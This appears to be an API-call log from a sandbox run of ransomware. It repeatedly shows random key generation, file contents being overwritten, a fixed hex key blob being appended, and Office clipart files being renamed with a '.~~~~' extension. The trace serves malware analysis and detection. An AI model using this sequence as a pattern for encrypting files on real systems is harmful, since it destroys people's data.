	[0089.434] GetLastError () returned 0x0
	[0089.434] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.435] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.435] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.435] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20942542020) returned 1
	[0089.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9f15bcd0, dwHighDateTime=0x1d60e1e)) 
	[0089.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac3f8
	[0089.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac3f8 | out: hHeap=0x300000) returned 1
	[0089.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37d298
	[0089.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.436] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.437] GetLastError () returned 0x0
	[0089.437] GetLastError () returned 0x0
	[0089.437] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.437] GetLastError () returned 0x0
	[0089.437] GetLastError () returned 0x0
	[0089.439] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffa100, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.439] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x5f00, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x25dfec0*=0x5f00, lpOverlapped=0x0) returned 1
	[0089.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0089.440] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.440] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.440] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.440] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.441] CloseHandle (hObject=0x128) returned 1
	[0089.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.441] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.~~~~")) returned 1
	[0089.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.441] GetLastError () returned 0x0
	[0089.442] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.443] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.443] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.443] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20968623825) returned 1
	[0089.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9f3e3430, dwHighDateTime=0x1d60e1e)) 
	[0089.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f7f0
	[0089.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f7f0 | out: hHeap=0x300000) returned 1
	[0089.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37db70
	[0089.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.717] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.717] GetLastError () returned 0x0
	[0089.717] GetLastError () returned 0x0
	[0089.717] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.718] GetLastError () returned 0x0
	[0089.718] GetLastError () returned 0x0
	[0089.720] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff9f36, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.720] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x60ca, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x60ca, lpOverlapped=0x0) returned 1
	[0089.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0089.721] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.722] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.722] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.722] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.722] CloseHandle (hObject=0x128) returned 1
	[0089.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.722] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.~~~~")) returned 1
	[0089.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.723] GetLastError () returned 0x0
	[0089.727] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.980] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.980] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.980] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20997059593) returned 1
	[0089.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9f690cf0, dwHighDateTime=0x1d60e1e)) 
	[0089.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f898
	[0089.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f898 | out: hHeap=0x300000) returned 1
	[0089.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37e458
	[0089.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.981] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.981] GetLastError () returned 0x0
	[0089.981] GetLastError () returned 0x0
	[0089.981] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.981] GetLastError () returned 0x0
	[0089.981] GetLastError () returned 0x0
	[0089.984] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffb880, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.984] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x4780, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x4780, lpOverlapped=0x0) returned 1
	[0089.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0089.985] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.985] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.985] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.985] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.985] CloseHandle (hObject=0x128) returned 1
	[0089.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.985] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.~~~~")) returned 1
	[0089.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.986] GetLastError () returned 0x0
	[0089.987] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.988] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.988] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.988] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20997795972) returned 1
	[0089.988] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9f690cf0, dwHighDateTime=0x1d60e1e)) 
	[0089.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fdd8
	[0089.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fdd8 | out: hHeap=0x300000) returned 1
	[0089.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37dd38
	[0089.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.988] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.989] GetLastError () returned 0x0
	[0089.989] GetLastError () returned 0x0
	[0089.989] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.989] GetLastError () returned 0x0
	[0089.989] GetLastError () returned 0x0
	[0089.991] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff438, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.991] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xbc8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0xbc8, lpOverlapped=0x0) returned 1
	[0089.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0089.991] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.991] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.991] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.991] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.991] CloseHandle (hObject=0x128) returned 1
	[0089.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.991] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.~~~~")) returned 1
	[0089.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0089.992] GetLastError () returned 0x0
	[0089.992] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394970) returned 1
	[0089.993] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0089.993] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0089.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0089.993] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0089.993] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20998363013) returned 1
	[0089.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9f6b6e50, dwHighDateTime=0x1d60e1e)) 
	[0089.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0089.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0089.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0089.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fe10
	[0089.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fe10 | out: hHeap=0x300000) returned 1
	[0089.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37eb78
	[0089.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.994] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0089.994] GetLastError () returned 0x0
	[0089.994] GetLastError () returned 0x0
	[0089.994] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0089.995] GetLastError () returned 0x0
	[0089.995] GetLastError () returned 0x0
	[0089.996] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff13c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.996] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xec4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0xec4, lpOverlapped=0x0) returned 1
	[0089.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0089.997] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.997] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.997] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.997] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.997] CloseHandle (hObject=0x128) returned 1
	[0089.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
